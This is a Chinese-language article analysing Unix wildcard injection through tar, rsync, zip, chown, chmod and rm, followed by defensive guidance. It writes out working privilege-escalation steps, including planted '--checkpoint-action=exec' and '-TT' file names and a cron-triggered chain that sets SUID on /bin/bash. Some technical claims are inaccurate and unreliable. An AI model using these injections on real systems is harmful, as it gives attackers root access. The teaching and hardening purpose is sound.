摘要
Unix 通配符注入(Wildcard Injection)是一种被严重低估但长期有效的攻击技术。当系统命令使用 * 等通配符处理文件时,攻击者可通过构造包含特殊字符(尤其是以 - 开头的)文件名,将文件名“伪装”成命令参数注入到命令行中,从而实现权限篡改、任意命令执行等高危操作。本文结合经典论文与实战场景,系统分析 tar、rsync、zip、chown、chmod 等常见命令的通配符注入原理、利用手法及防御方案。
1. 引言
在现代安全攻防中,ASLR 绕过、ROP 利用、0day 内核漏洞等高级技术往往占据主流视野。然而,一些“复古”的 Unix 技巧却因其简单、隐蔽、普适性强而长期有效。通配符注入正是其中之一——它不需要复杂的内存布局操控,只需利用 shell 对通配符的解析机制,就能让看似无害的 tar * 变成提权后门。
本文的核心问题是:当文件名与命令参数共享同一个输入通道时,如何打破二者的边界?
2. 通配符基础与风险模型
2.1 Shell 通配符解析机制
在 Unix shell 中,通配符在命令执行前由 shell 先行展开:
| 通配符 | 含义 |
|---|---|
* |
匹配任意数量字符(包括零个) |
? |
匹配单个字符 |
[ ] |
匹配括号内任一字符 |
- |
在 [ ] 中表示字符范围 |
关键风险点:当目录中存在以 - 开头的文件名时,* 展开后会将其作为参数传递给目标命令,而非普通文件名。
2.2 通道混合攻击(Channeling Attack)
通配符注入本质上是一种 通道混合(Channeling) 问题——将原本应属于“文件名通道”的数据注入到“参数通道”中。当管理员执行:
rm *
shell 实际执行的等价命令为:
rm file1.txt file2.txt -rf
若目录中存在名为 -rf 的文件,rm 会将其解析为递归强制删除选项,导致灾难性后果。
flowchart LR
subgraph Shell["Shell 通配符展开阶段"]
A["rm *"] --> B["解析目录文件列表"]
B --> C["file1.txt, file2.txt, -rf"]
end
subgraph Exec["命令执行阶段"]
C --> D["rm file1.txt file2.txt -rf"]
D --> E["-rf 被解析为选项<br/>而非文件名"]
end
style Shell fill:#e1f5fe
style Exec fill:#fff3e0
3. 权限篡改:chown / chmod 文件引用劫持
3.1 chown 所有者劫持
chown 的 --reference=RFILE 参数允许以参考文件的属主/属组为目标,而非手动指定。攻击者构造如下文件:
# 创建参考文件(属主为攻击者 leon)
touch .drf.php
# 创建注入参数的文件名
touch -- "--reference=.drf.php"
当 root 执行 chown -R nobody:nobody *.php 时,展开后变为:
chown -R nobody:nobody admin.php ... --reference=.drf.php
由于 --reference 优先级高于位置参数,所有 .php 文件的属主被篡改为 leon,实现文件所有权劫持。
sequenceDiagram
participant Root as root
participant Shell as Shell
participant FS as 文件系统
participant Attacker as 攻击者(leon)
Attacker->>FS: touch .drf.php
Attacker->>FS: touch "--reference=.drf.php"
Root->>Shell: chown -R nobody:nobody *.php
Shell->>Shell: 通配符展开
Shell->>FS: 读取文件列表
FS-->>Shell: admin.php, ..., --reference=.drf.php
Shell->>Root: chown -R nobody:nobody admin.php ... --reference=.drf.php
Root->>FS: 按 .drf.php 的属主(leon)修改所有文件
FS-->>Root: 完成
Note over Root,FS: 所有文件属主变为 leon!
3.2 chmod 权限篡改
同理,chmod 的 --reference 参数可被用于批量修改权限。攻击者将 .drf.php 设为 777,再注入 --reference=.drf.php,即可将目标目录下所有文件权限改为 777。
更危险的是,若配合 -R 文件名(touch -- -R),还可实现递归权限篡改。
4. 命令执行:tar / rsync / zip 参数注入
4.1 tar 任意命令执行
原理
tar 支持 --checkpoint 和 --checkpoint-action 参数,允许在归档过程中达到检查点时执行指定动作:
--checkpoint=NUMBER # 每 NUMBER 条记录显示进度
--checkpoint-action=ACTION # 在检查点执行 ACTION
攻击构造
攻击者创建以下文件和脚本:
# 恶意脚本
echo '/usr/bin/id' > shell.sh && chmod +x shell.sh
# 注入参数的文件名
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
当 root 执行 tar cf archive.tar * 时,展开后的命令为:
tar cf archive.tar admin.php ... --checkpoint=1 --checkpoint-action=exec=sh shell.sh
tar 在归档第一个文件后即触发检查点,执行 sh shell.sh,以 root 权限运行任意命令。
flowchart TD
A["root 执行 tar cf archive.tar *"] --> B["Shell 展开通配符"]
B --> C["文件列表包含"]
C1["--checkpoint=1"]:::none --> C
C2["--checkpoint-action=exec=sh shell.sh"]:::none --> C
C --> D["tar 解析参数"]
D --> E{"遇到 --checkpoint=1"}
E -->|是| F["触发检查点"]
F --> G["执行 exec=sh shell.sh"]
G --> H["以 root 权限运行 /usr/bin/id"]
H --> I["输出 uid=0(root)"]
style A fill:#ffcdd2
style H fill:#ffcdd2
style I fill:#ffcdd2
classDef none fill:#fff,stroke:#ccc
完整利用链
# 攻击者视角
cd /var/www/html/uploads
echo 'chmod +s /bin/bash' > shell.sh && chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
# root 的 cron 任务触发
# tar -czf /root/backups/web.tar.gz *
# → /bin/bash 获得 SUID,攻击者执行 /bin/bash -p 提权
4.2 rsync 远程 Shell 注入
原理
rsync 的 -e(或 --rsh)参数用于指定远程 shell 命令。当 rsync 通过通配符获取到 -e 参数时,会将其后的内容作为远程 shell 执行。
攻击构造
# 创建恶意脚本
echo '/usr/bin/id > shell_output.txt' > shell.c && chmod +x shell.c
# 构造注入文件名(利用 ${IFS} 绕过空格过滤)
touch -- "-e sh shell.c"
当 root 执行 rsync -t *.c backup:/srv/ 时,展开为:
rsync -t admin.c ... -e sh shell.c backup:/srv/
rsync 将 shell.c 作为 -e 指定的远程 shell 执行,结果写入 shell_output.txt。
sequenceDiagram
participant Root as root
participant RS as rsync
participant Attacker as 攻击者文件
participant Remote as 远程服务器
Attacker->>Attacker: 创建 -e sh shell.c
Root->>RS: rsync -t *.c backup:/srv/
RS->>RS: 通配符展开 *.c
RS->>RS: 解析到 -e sh shell.c
RS->>Attacker: 将 shell.c 作为远程 shell 执行
Attacker->>Attacker: /usr/bin/id > shell_output.txt
Note over Root,Remote: shell_output.txt 属主为 root,证明以 root 执行
4.3 zip 双向量攻击
zip 命令存在两类通配符注入风险:命令执行与任意文件写入。
4.3.1 命令执行:-T / -TT 注入
zip 的 -T 参数用于测试压缩包完整性,-TT(或 --unzip-command)指定测试时使用的解压命令。
攻击构造:
# 创建恶意脚本
echo 'chmod +s /bin/bash' > a.txt && chmod +x a.txt
# 构造注入文件名
touch -- "-T -TT sh${IFS}a.txt"
当 root 执行 zip -q /root/backups/latest.zip * 时,-T 触发完整性测试,-TT sh a.txt 将 a.txt 作为解压命令执行,实现提权。
flowchart LR
subgraph 命令执行向量
A1["构造 -T -TT 文件名"] --> B1["zip 执行完整性测试"]
B1 --> C1["执行 sh a.txt"]
C1 --> D1["提权"]
end
4.3.2 任意文件写入:-O 参数注入
zip 的 -O(--out)参数可重定向输出路径。攻击者构造包含 -O 的文件名:
touch -- "-O /etc/cron.d/backdoor"
当 root 执行 zip backup.zip * 时,输出被重定向到 /etc/cron.d/backdoor,若配合精心构造的 zip 内容,可实现 cron 后门植入。
5. 攻击面总结与利用场景
| 命令 | 注入参数 | 攻击效果 | 利用条件 |
|---|---|---|---|
rm |
-rf |
递归强制删除 | 目录可写 |
chown |
--reference= |
文件属主劫持 | 目录可写 + root 执行 |
chmod |
--reference= / -R |
权限篡改 | 目录可写 + root 执行 |
tar |
--checkpoint / --checkpoint-action |
任意命令执行 | 目录可写 + 定时任务/脚本 |
rsync |
-e |
远程 Shell 执行 | 目录可写 + 含通配符的 rsync |
zip |
-T / -TT / -O |
命令执行 / 文件覆盖 | 目录可写 + 含通配符的 zip |
典型利用场景
- Web 上传目录:攻击者上传含恶意文件名的文件,等待管理员执行备份脚本
- 共享目录:多用户可写的目录(如
/tmp、/var/www/uploads) - Cron 定时任务:
*/10 * * * * cd /backup && tar czf backup.tar.gz * - CI/CD 流水线:构建脚本中使用通配符打包源码
6. 防御方案
6.1 根本修复:避免通配符与文件名混合
# ❌ 危险
tar czf backup.tar.gz *
# ✅ 安全:使用 -- 终止参数解析
tar czf backup.tar.gz -- *
# ✅ 更安全:显式指定文件或使用 find
find . -maxdepth 1 -type f -exec tar czf backup.tar.gz {} +
6.2 各命令专项防御
| 命令 | 安全用法 |
|---|---|
tar |
tar czf backup.tar.gz -- * 或 tar czf backup.tar.gz . |
rsync |
rsync -t -- *.c backup:/srv/ |
zip |
zip backup.zip -- * |
chown |
chown -R nobody:nobody -- *.php |
chmod |
chmod 000 -- * |
6.3 系统级加固
# 1. 限制可写目录的执行权限
chmod 1777 /tmp # sticky bit
# 2. 使用 chroot 或容器隔离文件系统
# 3. 审计脚本中的通配符使用
grep -rn '\*' /etc/cron* /var/spool/cron/
# 4. 设置 GLOBIGNORE 排除以 - 开头的文件(bash)
export GLOBIGNORE='-*'
6.4 开发规范
- 永远不要在脚本中使用裸通配符处理用户可控目录
- 使用
--明确分隔选项与文件名 - 对文件名进行白名单校验,拒绝以
-开头的文件名 - 优先使用
find的-exec或管道配合xargs -0
7. 结论
通配符注入是一种“返璞归真”的攻击技术,它不需要复杂的漏洞利用链,却能在特定场景下造成与内核漏洞同等级别的危害。其核心原因在于 Unix 命令行接口将“选项通道”与“文件名通道”混为一谈,而通配符展开恰好是打破这一边界的桥梁。
对于红队而言,通配符注入是权限提升和横向移动的隐蔽武器;对于蓝队而言,审计脚本中的通配符使用、加固可写目录权限、推广 -- 最佳实践,是降低此类风险的关键。
正如原始论文作者 Leon Juranic 所言:“这不是关于现代黑客技术,而是关于 Unix shell 黑客——带我们 straight back to the 80’s。” 在容器化、DevOps 盛行的今天,那些隐藏在 tar * 和 rsync *.c 中的古老陷阱,依然值得每一位安全从业者警惕。
参考文献
Juranic, L. (2014). Back To The Future: Unix Wildcards Gone Wild. Exploit-DB, EDB-ID: 33930.